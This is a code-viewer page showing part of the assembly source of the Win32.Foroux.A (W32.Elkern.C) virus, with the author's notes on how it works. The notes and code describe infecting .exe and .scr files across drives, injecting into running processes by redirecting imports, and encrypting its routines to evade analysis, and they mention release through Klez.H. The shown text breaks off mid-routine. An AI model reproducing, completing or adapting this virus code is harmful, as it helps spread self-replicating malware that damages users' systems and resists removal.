📄 29a-7.007
字号:
comment $
This is the source code of Win32.Foroux.A(W32.Elkern.C)
Features
1,Cavity infection.It splits itself to several small block and try to insert them
to the host body.If there is no enough cavity,it will append the block to the host
tail.I like cavity infection,and all Elkern family has such feature.
Because after such infection,maybe the file size will be enlarged,but the enlarge
size is uncertain.
2,Very good memory infection.Unlike the common method to stealth,it doesn't drop any
file to the disk.Instead that,it will infect all process current in memory(on Win98,
it will only infect Explorer to avoid crash some application(eg,OE)).This feature made
it very difficult to disinfect.
Every virus process will play its infect,but only one do very fast infection,and others
will slowly infect.This is to avoid th draw the user's notice.If the 'fast' process
exit,another virus process will become the 'fast' one.
How to infect process?Maybe you'll say CreateRemoteThread,but it's pitiful that it's
only supported by Win2000.Now I will introduce a common method which can run on all
Win32 platform.
When you get a process,insert a very short piece of virus code to its cavity,and modify
the import table to redirect a API to your code.As soon as the API is called by the
process,your code will get control and then,it can try to map a memroy map which contain
your whole virus code.If it successes to do this,then it will jump to the real virus
body.
For more information,read infproc.asm
3,Dynamic decryption and encryption.When it call a routine,it will decryption it.When the
routine returned,it will encryption with different key again.Though the encrypt algorism
is very simple,it's very difficult to obtain 'plain' virus code.
4,It will infect all .exe and .scr PE file,and randomly it will ignore the file extension
in order to infect more widely.
5,It was released by Klez.H.
I like writing several source file for my asm virus.This virus source code files is
pv.asm--the main asm file
infect.asm--the routine to infect files
infproc.asm--the routine to infect memory process
mainthrd.asm--the main loop of virus work.
But for your convenience to read,I join all files to a single file.But every file are
seperated by comment with the file name.
$
;NOTE: All global data MUST NOT be in encryption block.
.386
.model flat
include win32.inc
includelib import32.lib
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn CreateProcessA: proc
DEBUG equ 1
if DEBUG
include debug.asm
endif
FMAP_NAME equ 'Wqk',0
MUTEX_NAME equ 'Oux',0
INFPROC_PROT_SIZE equ (4*1024)
INFPROC_MAP_SIZE equ (16*1024)
INF_SIGN equ 'QW'
MEM_INF_SIGN equ ('Q'+'W')
MEM_INF_POS equ 1ch
INF_MIN_BLK_SIZE equ 38h
MIN_SIZE_TO_INFECT equ (8*1024)
if DEBUG
INFECT_FIRSTDISK equ (0000ffffh and '00:w')
INFECT_LASTDISK equ (0000ffffh and '00:z')
else
INFECT_FIRSTDISK equ (0000ffffh and '00:a')
INFECT_LASTDISK equ (0000ffffh and '00:z')
endif
RESOURCETYPE_DISK equ 0001h
RESOURCEUSAGE_CONTAINER equ 0002h
RESOURCEUSAGE_ALL equ 0013h
RESOURCE_GLOBALNET equ 0002h
MAX_NETRESOURCE_NUM equ 1000
SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010h
FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS
PAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400h
MEM_COMMIT equ 1000h
MEM_RELEASE equ 8000h
MAX_PATH equ 260
MAX_DIR_SIZE equ MAX_PATH
FILETIME struc
dwLowDateTime dd 0
dwHighDateTime dd 0
FILETIME ends
WIN32_FIND_DATA struc
dwFileAttributes dd 0
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db MAX_PATH dup(0)
cAlternateFileName db 14 dup(0)
foralign db 2 dup(0)
WIN32_FIND_DATA ends
EXIT macro
push large 0
call ExitProcess
endm
CALLHEADER macro entry
dw 0
dw entry&_end - entry
ENDM
SUBCALL macro sub,rel
;;NOTE : This macro WILL destroy ESI
lea esi,[ebp+sub-rel]
call _callsub
endm
.data
cap db 'Haha',0
str db "Hello sakld;gjlsad",0dh,0ah,0
dummyfile db "dummy.exe"
.code
vir_header:
dd 0
dw vir_size
dw 'QW'
_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
call _start_ip
_start_ip:
pop ebp
_start_@1 equ $
lea edi,[ebp+hash_table-8-_start_ip]
mov ebx,[esp+9*4]
and ebx,0ffe00000h ;98-BFF70000,2K-77E80000,XP-77E60000
_start_@2 equ $
lea esi,[ebp+search_api_addr-_start_ip]
call _callsub
_start_@3 equ $
lea eax,[ebp+return_to_host-_start_ip]
push eax
main_enter:
lea edx,[ebp+vir_body-_start_ip]
db 89h,0d6h ;mov esi,edx
call _callsub
retn
return_to_host:
sub ebp,1000h+_start_ip-vir_header
host_section_rva equ dword ptr $-4
add ebp,offset host-400000h
host_entry_rva equ dword ptr $-4
mov dword ptr [ebp],000000b8h
host_entry_1 equ dword ptr $-4
mov byte ptr [ebp+4],0
host_entry_2 equ byte ptr $-1
mov [esp+7*4],ebp
popad
popfd
jmp eax
_start_end:
CALLHEADER vir_body
vir_body:
pushad
call vir_body_ip
vir_body_ip:
pop ebp
SUBCALL merge_code,vir_body_ip
or eax,eax
jz short vir_body_ret
add eax,main_thread-_start
mov esi,eax
call blk_decrypt
mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs
xor ecx,ecx
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call [ebp+addrCreateThread-vir_body_ip]
pop ecx
vir_body_ret:
popad
retn
vir_body_end:
;out--eax=buffer address
CALLHEADER merge_code
merge_code:
merge_code_ip equ vir_body_ip
xor edi,edi
mov eax,vir_mem_size
SUBCALL create_mem_map,merge_code_ip
push eax
jz short merge_code_ret
cld
mov edi,eax
lea esi,[ebp+_start-merge_code_ip]
lea edx,[ebp+_start_ip-merge_code_ip]
sub edx,[ebp+host_section_rva-merge_code_ip]
sub esi,edx
merge_code_loop:
add esi,edx
movzx ecx,word ptr [esi-4]
push esi
rep movsb
pop esi
mov esi,[esi-8]
or esi,esi
jnz short merge_code_loop
merge_code_ret:
pop eax
retn
merge_code_end:
;in--eax=size,edi->object name
;out--eax=buffer address,edi=map handle,ZF set means fail
CALLHEADER create_mem_map
create_mem_map:
push ebp
push ebx
push ecx
call create_mem_map_ip
create_mem_map_ip:
pop ebp
push edi
push eax
xor eax,eax
push eax
push large PAGE_READWRITE
push eax
dec eax
push eax
call [ebp+addrCreateFileMappingA-create_mem_map_ip]
or eax,eax
jz short create_mem_map_1
xchg eax,edi
xor eax,eax
push eax
push eax
push eax
push large FILE_MAP_WRITE
push edi
call [ebp+addrMapViewOfFile-create_mem_map_ip]
create_mem_map_1:
pop ecx
pop ebx
pop ebp
or eax,eax
retn
create_mem_map_end:
;In--esi->destination address
;Header format,2 byte:key,2 byte: length
;CAN NOT call get_rand
_callsub:
call blk_decrypt
call_sub_1:
push dword ptr [esi-4]
mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs
push esi
call esi
pop esi
pop dword ptr [esi-4]
pushfd
add word ptr [esi-4],5678h
callsub_seed equ $-2
call blk_encrypt
popfd
retn
;in--esi->block entry
blk_decrypt equ blk_encrypt
blk_encrypt:
pushad
cld
mov edi,esi
mov edx,[esi-4]
blk_encrypt_@1 equ $-blk_encrypt
xor ecx,ecx
nop ;for poly
shld ecx,edx,0fh
blk_encrypt_1:
lodsw
xor ax,dx
stosw
loop blk_encrypt_1
popad
retn
;***************************Find import some APIs*********************
HASH16FACTOR = 0ED388320h
HASH16 MACRO String,sym
HASH_Reg = 0FFFFFFFFh
IRPC _x, <String>
Ctrl_Byte = ('&_x&' XOR (HASH_Reg AND 0FFh))
HASH_Reg = (HASH_Reg SHR 8)
REPT 8
Ctrl_Byte = (Ctrl_Byte SHR 1) XOR (HASH16FACTOR * (Ctrl_Byte AND 1))
ENDM
HASH_Reg = (HASH_Reg XOR Ctrl_Byte)
ENDM
sym DW (HASH_Reg AND 0FFFFh)
ENDM
;in--ebx is the base to search-10000h,edi->the hash table,include dll name
CALLHEADER search_api_addr
search_api_addr:
pushad
pushfd
call search_api_addr_ip
search_api_addr_ip:
pop ebp
push ebp
lea eax,[ebp+search_api_addr_seh-search_api_addr_ip]
push eax
xor ecx,ecx
push dword ptr fs:[ecx]
mov fs:[ecx],esp
search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM'
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jnz short search_api_addr_@1
mov eax,[eax+78h]
add eax,ebx
mov edx,[eax+3*4]
add edx,ebx
mov ecx,[edi]
cmp dword ptr [edx],ecx
jnz short search_api_addr_@1
mov ecx,[edi+4]
cmp dword ptr [edx+4],ecx
jnz short search_api_addr_@1
search_api_addr_seh_restore:
xor ecx,ecx
POP DWord Ptr FS:[ecx] ; restore except chain
pop esi
pop esi
add edi,8
or ebx,ebx
jz short search_api_addr_ret
SUBCALL find_all_exportfunc,search_api_addr_ip
search_api_addr_ret:
popfd
popad
retn
search_api_addr_seh:
call search_api_addr_seh_ip
search_api_addr_seh_ip:
pop eax
lea eax,[eax-(search_api_addr_seh_ip-search_api_addr_@1)]
seh_cont:
PUSH eax
MOV EAX,[ESP + 00Ch+4] ; context
POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc
XOR EAX,EAX ; 0 = ExceptionContinueExecution
RET
search_api_addr_end:
CALLHEADER find_all_exportfunc
find_all_exportfunc:
cld
dec ecx
push eax
xor eax,eax
repnz scasw
not ecx
dec ecx
push ecx
push edi
rep stosd ;Clear all API address
pop edi
sub edi,4
pop ecx
pop eax
mov esi,[eax+8*4]
add esi,ebx ;esi->name RVA array
mov esi,[esi]
add esi,ebx
xor edx,edx
push ecx
find_exportfunc:
push ecx
find_exportfunc_1:
cmp edx,[eax+6*4]
pop ecx
jz short find_exportfunc_ret
push ecx
inc edx
push eax
call calc_hash16
push edi
std
mov ecx,[esp+3*4]
repnz scasw
pop edi
pop eax
jnz short find_exportfunc_1
push edx
dec edx
push edi
mov edi,[eax+9*4]
add edi,ebx ;edi->ordinal array
movzx edx,word ptr [edi+edx*2]
mov edi,[eax+7*4]
add edi,ebx ;edi->function RVA
mov edx,[edi+edx*4]
add edx,ebx
pop edi
mov [edi+ecx*4+4],edx
pop edx
pop ecx
loop find_exportfunc
find_exportfunc_ret:
pop ecx
retn
find_exportfunc_end:
calc_hash16:
;esi->string
push edx
push 0ffffffffh
pop edx
cld
load_character:
lodsb
or al, al
jz exit_calc_crc
xor dl, al
mov al, 8
crc_byte:
shr edx, 1
jnc loop_crc_byte
xor edx, HASH16FACTOR
loop_crc_byte:
dec al
jnz crc_byte
jmp load_character
exit_calc_crc:
xchg edx, eax
;now ax is the hash 16,esi->string after the NULL character after last string
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -